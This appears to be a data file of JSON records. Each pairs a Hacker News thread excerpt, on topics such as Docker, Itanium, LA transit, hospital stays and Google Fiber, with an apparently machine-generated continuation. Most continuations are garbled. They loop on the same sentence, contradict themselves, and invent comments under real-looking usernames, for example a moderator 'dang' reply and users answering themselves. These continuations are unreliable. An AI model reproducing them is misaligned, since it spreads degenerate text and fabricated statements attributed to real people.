makes it nearly impossible to make changes to TCP itself.\n\n[1] [https://lwn.net/Articles/745590/](https://lwn.net/Articles/745590/)\n\n~~~\nsolotronics\nThis brings up some interesting considerations\n\nI personally believe in absolute freedom of speech so from a network\nengineering perspective this manifests as a personal responsibility to make\nthe networks I control pass packets without discrimination. The public\ninternet is just a conglomeration of seperate private networks that operate\nunder their own sets of rules.\n\nTo have absolute freedom when passing traffic the underlying protocol should\nbe fully encrypted and probably even hide the source and destination IP\naddress and port. This is a very tough problem to solve technically because\nyou have to know the destination IP to efficiently route a packet.\n\n~~~\nkeepmesmall\nThe destination IP could be hidden opportunistically?\n\nSend the destination IP for high-priority requests and retry without the\ndestination. Low-priority/long-latency requests would always hide the\ndestination.\n\n... I can't articulate why, but I feel even this introduces a very large\namount of hidden complexity"} +{"output_text": " waste of time.\n\nI'm not sure if this is a good or bad thing. I'm not sure if I'm a good or bad\nartist. I'm not sure if I'm a good or bad person. I'm not sure if I'm a good\nor bad person because I don't have a strong emotional connection to art. I\ndon't know if I'm a good or bad person because I don't have a strong emotional\nconnection to art.\n\n", "input_text": " mention.\n\n~~~\nJtsummers\n[http://www.accademia.org/it/esplora-il-museo/le-\nopere/i-prig...](http://www.accademia.org/it/esplora-il-museo/le-\nopere/i-prigioni-schiavi-di-michelangelo/)\n\nThese are the ones I was thinking of.\n\n------\nBroken_Hippo\nI'm going to say first and foremost that I'm an artist. I sell occasionally\n(rarely), but constantly create. I'm often prolific. I'm nearing 40 and have\ndone this stuff since I was a child.\n\nYet I really don't have an emotional connection with art (there are\nexceptions, but this is rare). I hold a few things I've made dear to me but\nwould sell them in an instant. I don't think this is in any way necessary.\nWhatever you feel - or don't - is just how you see it.\n\nBut I like art, overall, especially surrealism, fantasy, and abstract work. I\nthink they are neat to look at when done well. I'm sometimes in awe of well-\ndone landscapes, portraits, still life paintings, and things depicting current\nevents and situations. I don't really enjoy these, though, since I find such\nimages boring after a while. In fact, I'm the type of artist that would make\nsomething up if someone insists on \"getting\" my art or asks me to explain a\nfew things. Or refuse to explain altogether. I know folks expect this stuff,\nso I'm prepared to jump into that role if it ever becomes actually necessary,\neven though I know it would be a"} +{"output_text": "ia, but I have a lot of experience with\nreproducibility in science.\n\n~~~\nmugsie\nI think you are missing the point.\n\nDocker is not the only solution to problems. It solves some, but you can't\ntack it on to everything.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nI'm not sure I understand the point of this.\n\n~~~\njoshu", "input_text": "\nthe regular (Rails) auto reload works perfectly.\n\nFor test and prod we just simply don't do any volume mounting at all, and use\nthe baked in src directly.\n\nEasy and fast everywhere, all you have to control is how and when the images\nare created (ex: we do a full clean checkout in a new directory before\nbuilding a test image, to ensure it only contains committed code. EDIT: by\ntest I mean for local testing, while you're working on revisions, a CI server\ndoes the automatic testing).\n\n------\ncollyw\nTo tell all the cool kids you are using it.\n\n(Ok, I know there are real use cases for Docker, but I see a lot of hype as\nwell. People telling my mathematician friend that she needs to use docker at\nthe start of her project - it is likely to be a one off graph she needs to\nproduce for a research paper).\n\n~~~\nosipov\nThere is a big push for reproducibility in science. If you friend can package\nthe process for building that graph in a Dockerfile, it is more likely that\nreaders of her paper will be able to reproduce her results.\n\n~~~\nmugsie\nor, you know, publish the formula, so readers can reproduce in whatever\nlanguage / system they want.\n\nReproducibility is a big push.... but not like you are suggesting. Shipping a\ndockerfile is the equivalent of saying \"This works, _if_ you use this flask,\nthis pipette, this GCMS and this piece of litmus paper\"\n\nDocker is not the only solution to problems. It solves some, but you can't\ntack it on to everything.\n\n~~~\nlog_n\nWhy not both? I am not in academ"} +{"output_text": " the same user is lower.\n\n------\njlgaddis\nI'm not sure why this is being posted here.\n\n~~~\njlgaddis\nI guess I should have been more clear. I'm not saying that this is a bad thing\nor that it's not important. I'm just saying that I don't think it's a good\nidea to post this here.\n\n------\njlgaddis\nI'm not sure why this is being posted", "input_text": "docker/docker.github.io/issues/6910)\n\n~~~\ndbnoch\nOr fix this 4 year old issue where you cant use 2FA for accounts\n[https://github.com/docker/hub-\nfeedback/issues/358](https://github.com/docker/hub-feedback/issues/358)\n\n(Side note: this obviously wouldn't have prevented the current attack)\n\n------\naneutron\nFrom the same company that tried to force people to login before downloading\nDocker CE.\n\n------\nrnotaro\nOfficial Article from Docker (Same Text as the email):\n[https://success.docker.com/article/docker-hub-user-\nnotificat...](https://success.docker.com/article/docker-hub-user-notification)\n\n~~~\nfock\nsuccess.docker.com!\n\n------\nviraptor\nThat's a nice summary. One thing I'm curious about is:\n\n> Data includes usernames and hashed passwords\n\nHow are they hashed? And specifically, can we expect them to be already\ncracked?\n\n~~~\nghusbands\nYes, in particular we need to know algorithm, work factor and salting details\nto know whether or not the passwords may be compromised.\n\n~~~\ntrulyrandom\nJust assume that it's compromised and generate a new one. There is no point in\nwasting time trying to estimate how long it might take someone to crack it.\n\n~~~\nviraptor\nIt matters at lower extreme. If it was something trivial and people shared the\npassword with another account, then they may be already compromised. If it was\nhard and salted per-user, they still have to change it, but the chance of\ncompromise on"} +{"output_text": " respect to the Content you submit or make available for inclusion on\n> publicly accessible areas of the Yahoo! Services, you grant Yahoo! the\n> following worldwide, royalty-free and non-exclusive license(s), as\n> applicable:_\n\n> _The rights granted to you in this license are for the limited purpose of\n> (i) using the Yahoo! Services, (ii) contributing Content to the Yahoo!\n> Services and (iii) using the Yahoo! Services", "input_text": "\nwithout first knowing about it.\n\n~~~\njfarmer\nMuch of it is a conceit, yes, and I'm not qualified to comment on the legal\nprecedents surrounding such licenses.\n\nI'm sure Pinterest makes you check a box saying you agree to the Terms of Use\nbefore they let you create an account.\n\nWhether that's sufficient is up to a court to decide, and an attorney could\ntell you the likelihood of a successful suit given a specific fact pattern.\n\nI'm not an attorney, though.\n\nAs I said below, people -- engineers, especially -- get caught up in\ncontractual technicalities. The fundamental question is: do you trust\nPinterest to do right by you?\n\nFlickr has a similar clause that every photographer who has uploaded their\nphotos has agreed to, but they do right by their users and so nobody believes\none day Flickr is going to undo all that work. It would alienate their\ncustomers.\n\nIf you think Pinterest is untrustworthy, why do you think some text on a\nscreen that _they wrote themselves_ is going to impact their behavior one way\nor another?\n\n~~~\njacobolus\nActually, Flickr\u2019s TOS (now a general Yahoo one) is quite different. They make\nit clear that their rights are limited to the specific uses obvious and\nessential to the function of their sites:\n\n> _Yahoo! does not claim ownership of Content you submit or make available for\n> inclusion on the Yahoo! Services. However, with respect to Content you\n> submit or make available for inclusion on publicly accessible areas of the\n> Yahoo! Services, you grant Yahoo! the following worldwide, royalty-free and\n> non-exclusive license(s), as applicable:_\n\n> _With"} +{"output_text": " was working at\nGoogle.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the premise that Facebook is a monopoly.\n\n~~~\ndang\nPlease don't post unsubstantive comments here.\n\n------\nmatt_the_bass\nI\u2019m not sure I agree with the premise that Facebook is a monopoly.\n\n~~~\ndang\nPlease don't post unsubstantive comments here.\n\n------\n", "input_text": " IMF works, etc. I\neven helped (not successfully) launch it in 2013. These ideas have been around\nfor a good while by many people, it\u2019s just that crypto is mainstream enough\nand facebook has enough clout now to take it seriously. If facebook ripped off\nanyone it was John Maynard Keynes. That\u2019s not to say that it is even that good\nof an idea or that facebook will be successful with it.\n\n------\nvitno\nI know people who were working on, what is now called, Libra at FB more than a\nyear ago though. The paper was published a year ago. This just looks like a\ncase of multiple people having the same idea.\n\n~~~\nyodaml\nIt may just be another case of the \"adjacent possible\" principle at work.\n\n~~~\nTeMPOraL\n\"Adjacent possible\" is the case of one of the weirdest possible definition for\na very simple concept. I see people quoting this:\n\n\"The adjacent possible is a kind of shadow future, hovering on the edges of\nthe present state of things, a map of all the ways in which the present can\nreinvent itself.\"\n\n(Whatever the hell that means.)\n\nEven though the concept is much simpler: \"adjacent possible\" is the set of\nthings within reach. Or: all the things on the border between what we have,\nand what we could have.\n\n------\nejwessel\nIn science, the credit goes to the man who convinces the world, not to whom\nthe idea first occurs. \\- Francis Darwin.\n\n------\nBubRoss\nThis is just like when Google stole my idea to run fiber optic internet to\npeople's houses. I totally had that idea a long time ago when I"} +{"output_text": " the KKK\nand the Aryan Brotherhood still exist, but the vast majority of people in the\nUS are not bigoted, and the vast majority of people in the US are not\nsexist/racist.\n\nThe vast majority of people in the US are not homophobic.\n\nThe vast majority of people in the US are not transphobic.\n\nThe vast majority of people in the US are not anti-Semitic.\n\nThe vast majority of", "input_text": " eras than ours. It's a\nlot more dangerous before the paradigm shift (and boy has this paradigm\nshifted). Shepard's case, from what I've read, was a lot more ambiguous.\n\nEdit: I'm not arguing that there's no more anti-gay violence, just that the\nsocial context has changed radically. The aftermath of the recent incident in\nFort Worth will be interesting to follow in this respect.\n\n~~~\ndidip\nTimes hasn't changed much, minority of all kinds always need to assert their\nequal rights.\n\nOnce gays are accepted into the mainstream, there will be other, oppressed,\neven more niche minority group.\n\nThis is the nature of our pyramid-like society. There will always be oppressor\nand oppressed.\n\n~~~\njacobolus\nI think this is a counter-productive attitude. The difference in the US\nbetween the 1850s (blacks in slavery, many women in abusive relationships with\nno legal protection or recourse because they were considered property, chinese\nand mexicans used as cheap labor but discriminated against mercilessly, gays\nall in the closet because their lives would be at risk if they came out,\netc.), and the 1950s (gays nearly all closeted still, women\u2019s lib movement not\nyet off the ground, Jim Crow and frequent lynchings, many top universities\nhardly accepting anyone not a WASP male, rampant discrimination in housing,\nhiring, politics, the mentally disabled brutally institutionalized against\ntheir will, and the physically disabled not guaranteed equal access to public\ninfrastructure and instututions, etc.) and today is dramatic, and the trend is\n_overwhelmingly_ obvious.\n\nSure, we still have problems with racism and sexism, and groups like"} +{"output_text": "ie\nI'm not sure I agree with the premise.\n\nI think the internet is a great thing, and I think it's a great thing that\npeople can access it from anywhere.\n\nI think it's a terrible thing that people can access it from anywhere.\n\nI think it's a terrible thing that people can access it from anywhere and\ndistract themselves from their work.\n\nI think it's a terrible thing that people can access it from anywhere and\n", "input_text": " I really only did that in the album, cassette and CD days\nbecause the tech sucked. Now I can easily jump to the part I want, just\nlistening to i.\n\nI only listen to podcasts when trapped on a long drive. Them I tend to listen\nto end-to-end again because the tech sucks.\n\nI've always found it hard to sit and watch a film, or even a youtube video,\nlinearly. It's generally just _way too slow_ (and occastionally too fast) and\nI like to be able to skip around. But the tools suck.\n\n _Books_, on the other hand, are ideal. In so many I luxuriate in them,\nespecially fiction which can be so multimedia compared to a film, generally\nreading linearly. Others I skip around, skipping over boring bits, coming back\nto them, going back to parts I loved, or just reading something interesting\nover and over.\n\nIt's not that \"the digital\" caused me to lose my ability to concentrate,\nrather it allowed me access to media in a way that _supports_ my enjoyment:\nsometimes intense, sometimes casual, and sometimes intense just on the parts\nthat matter. How can this be bad?\n\n------\nkhorwitz\nShallows is a great book about this and \"what the internet does to our\nbrains\". This chrome extension is supposed to combat the internet's\nunquestionable ability to mess with our work focus:\n[https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneb...](https://chrome.google.com/webstore/detail/focusr/fgdcnfgmneblnnldmaffhbniomfajlah?hl=en)\n\n------\nNurs"} +{"output_text": " mean we should have done it then?\n\n~~~\njrockway\nI don't think it's too late. I think it's just too late for the people who\ndon't care about the internet.\n\n~~~\nderleth\n> I don't think it's too late. I think it's just too late for the people who\n> don't care about the internet.\n\nI don't think it's too late for the people who don't care about", "input_text": " who _run_\nthings (e.g. governments) want to _keep running things_. Thus, their work\ntends to result in new laws and treaties. People who _do_ things (e.g.\nengineers) want to _keep doing things_. Thus, their work tends to result in\nvoluntary, consensus-based agreements.\n\n~~~\nhardik988\nThanks. That clarifies it up a bit. So could this summit result in a real\nthreat to net neutrality?\n\n~~~\nwyck\nThe summit can result in more then net neutrality threats, it includes\ncensorship, monitoring, archiving and usage regulations. The ITU comprises of\n193 countries and over 700 private-sector entities. It has become more\ntransparent due to public outcry, but who knows what is discussed over dinner\n( aka there is a lot of money and control being looked over as though it's a\nmap to the new world).\n\n------\njrockway\nI can't help but wonder why they didn't try this 20 years ago. As it stands\nnow, it seems hopelessly out of touch with reality. Why would people start\npaying more for online services when the price of everything tends to decrease\nover time? And why do governments think that the big internet companies are\ngoing to pay for this? They have shareholders too, after all.\n\n~~~\nderleth\n> I can't help but wonder why they didn't try this 20 years ago.\n\n20 years ago, nobody cared about the few, the unusual, the networked. 15 years\nago, people damned well did care, but everyone was in 'run in circles, scream\nand shout' mode and business plans were more-or-less optional. 10 years ago it\nwas definitively too late. Does that"} +{"output_text": "nesia-like condition that causes me to forget things that I have done. I\nhave a hard time remembering things that I have done in the past. I have\nforgotten things that I have done in the past. I have forgotten things that I\nhave done in the past. I have forgotten things that I have done in the past.\nI have forgotten things that I have done in the past. I have forgotten things\nthat I have done in the past. I have", "input_text": "oking conversation, and talk intelligently about many fields.\n\nThe lesson? Some people are so good at compartmentalizing that they leave\ntheir intelligence in another box.\n\n~~~\npjc50\nThat sounds more into the range of a severe anxiety disorder, \"dissociation\"\nrather than compartmentalisation.\n\n------\nchrisco255\nBe wary of your own self-delusions. Sometimes they might be useful. Other\ntimes, they might be detrimental.\n\n~~~\nimesh\nBut what if it's your self-delusion making you think your non-delusion is a\ndelusion?\n\n~~~\nshoo\nin that case, remain wary\n\n------\nthunderbong\nI find sometimes it's easy to be myself\n\nSometimes I find it's better to be somebody else\n\n\\- Dave Matthews Band - So much to say\n\n------\nvbuwivbiu\nnot only that, but all perception is a constructive process based on\npredictions according to multiple competing models which run in parallel of\nwhich we are only aware of a few at most. As such, other people have no single\nor objective perception of us either.\n\n------\np2detar\n_But what is selected as a personal memory also needs to fit the current idea\nthat we have of ourselves. Let\u2019s suppose you have always been a very kind\nperson, but after a very distressing experience you have developed a strong\naggressive trait that now suits you. Not only has your behaviour changed, your\npersonal narrative has too. If you are now asked to describe yourself, you\nmight include past events previously omitted from your narrative \u2013 for\nexample, instances in which you acted aggressively._\n\nI have been pondering on a similar question for some time now. I have an\nam"} +{"output_text": "FM?\n\n~~~\nJdeBP\nBecause you're not testing the code you're proposing.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\nJdeBP\nBecause it's a very interesting and unusual use of the term \"eol\" in a\nterminal emulator.\n\n------\njwilk\nI'm not sure why this is on the front page.\n\n~~~\nJdeBP\n", "input_text": " other comment: Both.\n\nIt's vomit-inducingly beautiful.\n\n------\nkazinator\nInterrogating the terminal emulator to get the current column is in fact a way\nsmarter, more robust solution that will work regardless of the terminal's\nbehavior when printing at the rightmost column. Also, fewer characters are\nexchanged with the TTY in the happy case.\n\nProof of concept, using Bash on Ubuntu 18.04:\n\nDefine this function:\n\n \n \n getcol()\n {\n local savetty=$(stty -g < /dev/tty)\n local ttyesp\n stty raw min 16 time 100 < /dev/tty\n printf '\\e[6n' > /dev/tty\n read -s -r -n 16 -d R ttyresp < /dev/tty\n stty $savetty < /dev/tty\n printf \"%s\\n\" ${ttyresp#*;}\n }\n \n\nThen this PS1 for testing:\n\n \n \n PS1='$(if [ $(getcol)!= 1 ]; then echo '[noeol]' > /dev/tty; fi)\\$ '\n \n\nTest:\n\n \n \n $ echo good output\n good output\n $ echo -n bad output\n bad output[noeol]\n $ echo -n # no output case\n $\n \n\nWFM\n\n~~~\nJdeBP\nUntil you can name at least one common current terminal emulator that does not\nrespond to DSR 6, you have not tested this enough. (-:\n\n~~~\nkazinator\nWhy would I search for a situation that's going to be a definite W"} +{"output_text": " to make you feel\nlike you were in a hotel.\n\nI was in a private room, but the nurses were all in the hallway, and the\nnurses' station was right outside my door. I could hear them talking to each\nother, and I could hear them coming in to check on me. I could hear the\nelevator going up and down, and I could hear the nurses talking to each other\nin the hallway. I could hear the nurses'", "input_text": " out bed, private\nbathroom with shower, etc. The nurses seemed to actually give thought to their\nschedule and when to do vitals and meds. They also leaned on technology a bit\nmore and had remote o2 and heart rate sensors, so they didn\u2019t need to take as\nmany vitals.\n\nThe facilities made a bit of a difference in our experiences, but above all\nthe nursing staff had the biggest impact. Highly skilled nurses that aren\u2019t\nover staffed seemed to be key.\n\n------\ndeanclatworthy\nOf course YMMV.\n\nHaving spent two spells recently in hospital after surgery, it didn\u2019t bother\nme in the slightest being woken for 30s every few hours. Usually it coincided\nwith me being brought painkillers, water and snacks. All of which were\nwelcome.\n\nThere was also no issue regarding beeps in the post operative care unit that I\nremember. I was also given my personal belongings, as soon as I was able to\nstructure a coherent sentence, which included headphones.\n\nSimilarly to other commenters, I should point out you might not be so quick to\nuse technology to solve this problem. Implementing technology into an area\nwhere lives are at risk (ICU) takes a long time - with good reason. I saw a\ncomment talking about a centralised monitoring desk. Good luck finding a ward\nwhere you are always staffed enough to have someone watching that. There is a\ngood reason sounds have remained as the primary monitoring cue for so many\nyears.\n\n------\ntempestn\nA million times this. Fortunately my only adult experiences overnight in a\nhospital were for the births of my children, but I was amazed in exactly the\nsame way as the author here at how the place seemed designed"} +{"output_text": ".\n\n------\njoshuaheard\nI'm not sure if this is a good thing or not. I think it's a good thing that\nthe city is trying to get rid of the streetcars. I think it's a bad thing that\nthe city is trying to get rid of the streetcars.\n\nI think it's a good thing that the city is trying to get rid of the streetcars\nbecause it will make the city more livable. I think it", "input_text": " the distance, bus for the last mile.\n\n~~~\nwaterlesscloud\nThere was an interesting study recently showing that population density in LA\nis still greatest along the long-vanished streetcar lines.\n\nIt's also worth noting the streetcar lines were built specifically to serve\nland development goals, so they drove the development in the first place, not\nthe other way around. In a way, streetcars _caused_ the sprawl of Los Angeles.\n\n[http://www.zocalopublicsquare.org/2014/09/23/long-dead-\nstree...](http://www.zocalopublicsquare.org/2014/09/23/long-dead-streetcars-\nstill-shape-l-a-neighborhoods/chronicles/who-we-were/)\n\n------\nistvan__\nI just would like to contribute one picture of this threa. It is from\n[http://upload.wikimedia.org/wikipedia/commons/f/fb/Pacific-E...](http://upload.wikimedia.org/wikipedia/commons/f/fb/Pacific-\nElectric-Red-Cars-Awaiting-Destruction.gif)\n\nMore here:\n[http://en.wikipedia.org/wiki/General_Motors_streetcar_conspi...](http://en.wikipedia.org/wiki/General_Motors_streetcar_conspiracy)\n\nI don't think that the politicians in charge changed that much since the 60s\nto let a green LA happen.\n\n~~~\nanthonyarroyo\nA wikipedia page whose neutrality is disputed?\n\n~~~\nistvan__\nYes, so any time you go there you can follow what is happening, eventually\nthere will a consensus what happened"} +{"output_text": "_ have been embarrassing was the fact that HP was so slow to\nadopt, and then so slow to get out of the way of the market.\n\n~~~\ngumby\nI agree with you, but I think the mainframe market is still healthy.\n\n------\njedberg\nI'm not sure why they're so upset about it. It's not like they were the only\nones using it.\n\n~~~\njedberg\nI guess I should", "input_text": "\u2019re wasting your life. And how\nmany people at some of those big SV companies are mostly just working on ad\ntech?\n\n~~~\ngumby\nTrue, my point is that itanium itself was a laughingstock, and clearly with no\nfuture, so must have been embarrassing to talk to your friends about what you\ndo for work.\n\nMaking spare parts for the B-52, or maintaining security fixes for Solaris\n(which has its fanatic fans) can be rewarding, no question. But to work on the\nItanium any time in the last decade must have been soul-sucking.\n\n~~~\nachiang\nI was an HP-UX kernel engineer from 2002 til 2005, a brief interlude writing\nIA64 CPU diagnostics, and then and a Linux kernel engineer from 2007 til 2010,\nall on Itanium systems.\n\nIn that time frame, it wasn't clear that horizontal scale out architecture\n(aka \"the cloud\") was going to dominate, and that scale up systems were going\nthe way of the mainframe. The thinking was that there would always be a\nhealthy balance of scale out vs scale up, and btw, HP alone did $30B+ revenue\nyearly on scale up with very slow decline, just like the mainframe market,\nwhich is still $10B+, even today.\n\nTo put that in today's terms, if you pitched a startup with a $30B TAM, VCs\nwill definitely be returning your emails.\n\nSo no, it wasn't embarrassing to talk about working on IPF any moreso than it\nwould be to talk about POWER today. It's just another CPU architecture with\nsome interesting properties but ultimately failed in the market place. Just\nlike Transmeta or Lisp Machines.\n\nWhat _should"} +{"output_text": "the personnel they need to handle the emergency.\n\n~~~\nthrowawaysea\nI\u2019m not sure what you mean by \u201ctoo much personnel the rest of the time\u201d.\n\n~~~\nfalcolas\nI mean that a state has a lot of people who are not needed for the emergency\nand are not needed for the rest of the time.\n\n------\njedberg\nI'm not sure if this is a good idea or not.\n\nI think it's", "input_text": "cannot accomplish on their own, they can certainly invest in - whether it is\npurchasing PPE or hiring loggers.\n\n~~~\nfalcolas\nAnd if that state can\u2019t, for one of a hundred reasons, respond appropriately,\nthe effects are not limited to that state.\n\nFor the pandemic, people traveling into, out of, or through the state will\nspread it to surrounding states (Florida is one great example of how a state\nnot responding appropriately has broader impacts on the nation).\n\nFor wildfires, fire knows no state boundaries, and smoke is even more\npromiscuous in its spread.\n\n~~~\nusername90\nEurope manage to handle those things just fine and local politics is very\ndecoupled from EU politics. Why wouldn't states be allowed to close borders\nunder emergencies?\n\n~~~\nfalcolas\nBecause a state is not a country. It doesn't have a military, border patrol,\nnational guard, etc. That is to say, it doesn't have the manpower. And it\ncould - practically speaking - never raise the money to do so (states have\nenough trouble paying their teachers, sanitation workers, paving roads, etc).\n\n~~~\nthrowawaysea\nThey have trouble paying for everything that\u2019s on their wish list but that\u2019s\ntrue of individuals and the federal government as well. A state COULD have\nthose things, especially if their taxpayers gave up less in federal taxes\nsince the federal government would have fewer responsibilities. Not sure how\nthis changes things.\n\n~~~\nfalcolas\nBut if a state has sufficient personnel to handle an emergency (say a tornado\nstrike on a town), they have too much personnel the rest of the time. Whereas,\nwith a governmental entity, they can go from emergency to emergency, keeping\n"} +{"output_text": "~~~\nmehrzad\nI'm not sure I follow. I'm not sure I understand how public transit is going to\ndrive density.\n\n~~~\neclipxe\nPublic transit is going to drive density because it's going to be more\nconvenient for people to get to work.\n\n~~~\nmehrzad\nI'm not sure I follow. I'm not sure I understand how public transit is going to\ndrive density.\n\n~~~\ne", "input_text": " utility removal) began 2 years ago. Construction on\nthe Airport Spur and a line connecting the Expo and Purple line (extension)\nhas already begun. This time next year, construction will have begun on the\n_next_ extension of the Gold line, heading for the eastmost reaches of LA\nCounty. (By the way...the Red and Purple lines run every 7 minutes during busy\nhours, the Blue and Expo lines run every 10. Only the Gold line runs every 12\nminutes or less.\n\nCivlavia is held multiple times a year. LA does have more bike lanes than any\nother city...but LA is also geographically one of the largest cities in the\nworld, so the _density_ of bike lanes is poor.\n\nThere is real change in LA, and they're definitely not photo ops.\n\n------\nmehrzad\nAs a native and lover of LA (currently in NYC), I've been enjoying all the\npress we've been getting recently. But as I skim this article, I'm confused.\nLA has massive urban sprawl. LA County is very, very vast in area, and many\npeople live 1-2 hours by car (without traffic) away from their work. How is\npublic transportation going to get so good that this car-dependence will go\naway? I'm all for it, I hate cars. The subway system in New York is great, but\nnot including metro areas, LA is quite a bit larger in area.\n\n~~~\neclipxe\nIt won't, ever. And that's okay. LA County won't be served by an awesome\nnetwork of public transit, but if investments continue into dense areas of LA\nCity you should see market forces at work -> public transit availability\ndriving higher density development, driving more desire for public transit.\n\n"} +{"output_text": " more dependent on your sales.\n\n------\njrockway\nI think the real problem is that the iPhone is a closed platform. You can't\nrun a server on it, and you can't run a server on the Mac.\n\nI think the solution is to make the iPhone a more open platform. I don't know\nhow to do that, but I think it's the right thing to do.\n\n~~~\njrockway\nI think I'm going to", "input_text": " that depending on how many copies I sell. The 20%\nrate only kicks in after about 25,000 copies or so and few programming books\ndo that well (my first edition sold just under 10,000), so effectively I get\naround $1.80-$2.50 a copy.\n\n------\npaul9290\nYou have to compete with piracy by offering premium levels of service one\nwhere it requires your users to pay to connect to your server to say play\nagainst others across the world and other things that require a server\nconnection.\n\nSure they might try to break into your server, but less will do that and that\nis more illegal and punishable by law at least in the states.\n\nPiracy made hollywood and music biz innovate we should be no different.\n\n------\nbestes\nHow are people cracking and using cracked applications on the iPhone? Am I\njust living in the dark by using the App Store and clicking \"Install\"?\n\n~~~\nkingsley_20\nI don't get it either. My guess is that people install a cracked version\nthrough Cydia to use on a jailbroken iPhone. I'd love to have this confirmed\nthough.\n\n~~~\njawngee\nYou can't install cracked stuff through Cydia, you have to use something like\ninstallous via hackulo.us.\n\n------\nxsmasher\n\"Piracy rate\" doesn't seem like a useful metric; it's too dependent on your\nsales. I'd rather see sales numbers and piracy numbers.\n\nIf you sell 10 and have 10 pirates, that's a 50% piracy rate. If you sell 1000\nand have 10 pirates (same number of pirates) that's only 1% piracy rate. The\nratio is less useful and"} +{"output_text": "-kadison-singer-math-\nscience/)\n\nIt works in the social sciences:\n[https://www.quantamagazine.org/20151124-kadison-singer-\nmath-...](https://www.quantamagazine.org/20151124-kadison-singer-math-\nscience/)\n\nIt works in the humanities:\n[https://www.quantamagazine.org/201", "input_text": "\nIt similar to the bogus _fair and balanced_ media argument. News reporting is\nabout reporting the facts _as they lead logically_ so that if anyone would\nperform the work of the journalist they would arrive at _similar conclusions_\nregardless of their perspective or polity. It's very much like the scientific\nmethod. Focusing on opinion diversity is a red herring.\n\n~~~\nfrotak\nYou're missing the thrust of the argument entirely.\n\nThe author does not advocate validating factually invalid statements - see his\nanecdote in the second article linked in GP regarding \"whether or not the\neconomic collapse was caused by poor black people\":\n\n\"I gave a quick response about how most experts would disagree with that\nassumption, that it was actually an oversimplification, and pretty dishonest,\nand isn't it good that someone made the video we just watched to try to clear\nthings up? And, hey, let's talk about whether that was effective, okay? If you\ndon't think it was, how could it have been?\"\n\nIn other words - in the case of \"bunk\" it can be summarily dismissed with a\nproper basis. Which is entirely different from vilifying and personally\nattacking a person for their beliefs or thoughts which are doing no actual\nharm to anyone else. People can have bogus ideas and those bogus ideas can be\ncompletely harmless no matter how much you might find them distasteful.\n\nViewpoint diversity is entirely about bringing different perspectives and\nexperiences to bear on a subject.\n\nIt works in the hard sciences:\n[https://www.quantamagazine.org/20151124-kadison-singer-\nmath-...](https://www.quantamagazine.org/20151124"} +{"output_text": "\nI'm not sure I understand the point of this.\n\n~~~\naswinmohanme\nI'm not sure I understand the point of this either.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\n~~~\naswinmohanme\nI'm not sure I understand the point of this either.\n\n------\njedberg\nI'm not sure I understand the point of this.\n\n~~~\naswin", "input_text": "astination.\n\n------\nshennyg\nI agree that automatically carrying over todo's to the next day is a bad idea.\nYou need to be able to trust your todo tracker. It would be helpful to have\nsome sort of history/log of your tasks just in case you need it.\n\nIt reminds me of [https://complice.co/](https://complice.co/) each day you\nneed to put in your new tasks __but __you get to review yesterday's\nincomplete items and pull them in. It has a lot of smarts built in and tell\nyou you've pulled in the same task day after day and suggests you split it\ninto smaller pieces.\n\nNice job shipping aswinmohanme!\n\n------\nwruza\nAnother cool idea is to have an app that records your todos with check marks\nand posts doge memes at the end of the day on your twitter.\n\n\u201cI was going to study convolutional neural networks today @ but instead bought\nmilk\u201d.\n\n------\nharryf\nNice use of \"behavioural economics\"\n\n~~~\ntw1010\nDid you mean \"psychology\"?\n\n------\nronreiter\nI just write my todos on toilet paper and wipe my ass with it\n\n------\nhmhrex\nAsking honestly, what would be the benefit of this?\n\n~~~\nblocked_again\nDoes it make a difference if you were asking it dishonestly?\n\n~~~\nhmhrex\nI guess I should have clarified, I didn't want to sound snarky while asking\nwhat the benefit would be, I'm actually curious.\n\n~~~\ngnclmorais\nYou mean\u2026 the benefit of a to-do list? Asking honestly.\n\n------\nJeaye"} +{"output_text": "page with a bunch of technical details.\n\n~~~\njedberg\nThe problem was that the city didn't want Google to put the fiber in the\nground.\n\n~~~\njanvdberg\nI see. I guess that's why they didn't want to pay for the fiber.\n\n------\njedberg\nI'm curious if this is a sign that the city is going to be more open to\nGoogle's proposal.\n\n~~~\njedberg\n", "input_text": "For a local news source: [https://www.wdrb.com/news/belknap-neighborhood-\nresidents-con...](https://www.wdrb.com/news/belknap-neighborhood-residents-\nconcerned-over-sloppy-installation-of-high-\nspeed/article_4bc2a61e-8640-57f0-aba9-3dd4cb3d39e5.html)\n\nHere's an article proclaiming that this is how Google would \"outbuild their\nrivals\": [https://www.techrepublic.com/pictures/photos-how-google-\nfibe...](https://www.techrepublic.com/pictures/photos-how-google-fiber-is-\nusing-shallow-trenching-to-outbuild-its-gigabit-rivals/18/)\n\nI cannot possibly oversell just how terrible the work was here. Yes, that is\nindeed a fiber optic cable two inches under a city street, covered only by\nexpanding foam rubber. Yes, someone really did think \"yeah, this'll be just\nfine.\"\n\n------\nitronitron\nGoogle Fiber has suffered from a lack of imagination, or just good ole' plain\nmarket analysis, in figuring out how to roll out fiber to larger areas around\ntheir 'fiber cities'. Google Fiber in Austin is limited to a very small area\nwhich oddly enough is probably not where most of the residential demand is.\nSomehow I doubt that they ever asked homeowners what they would be willing to\npay for a fiber connection.\n\n------\njanvdberg\nWhat was the problem? When I click the \"encountered challenges\" link I get a\n"} +{"output_text": "\nopen mind, and be willing to take on new challenges.\n\n~~~\njasonkester\nI'm not sure I agree with your conclusion.\n\nYou're making more money than ever before in your career. That's great.\n\nBut you're also making more money than ever before in your career. That's not\ngreat.\n\nYou're making more money than ever before in your career. That's great.\n\nBut you're also making more money than", "input_text": " until a new person is hired.\n\n------\nlkrubner\n\"you\u2019ll earn the job-hopper label\"\n\nWhat? In the year 2012? I assume this is being written about the USA? His\ncomment seems to come straight out of the 1980s. I remember my parents telling\nme stuff like this when I was a kid. But what is the actual reality in 2012?\nMany companies are afraid to hire and ask that people work some sort of trial\nperiod. If you do programming, most companies in New York will offer you a 90\nday contract, and see if you work out. If you want to get into editorial work,\na lot of magazines are insisting that you work an internship first.\n\nThe unwillingness of companies to commit to people means it is only fair if\npeople are unwilling to commit to companies.\n\nBesides all that, during the last 12 years I have not worked anywhere\ncontinuously for more than 18 months. I'm still flooded with offers. I suppose\nworking for small, new firms is different than working from large ones, but\nI've worked for some large ones as well.\n\nI do not doubt that there are still some large, conservative organizations in\nthe USA that still are worried about \"job hoppers\" but clearly the era where\nthis was a predominate concern is now several decades in the past.\n\n------\njonathanconway\nThis is 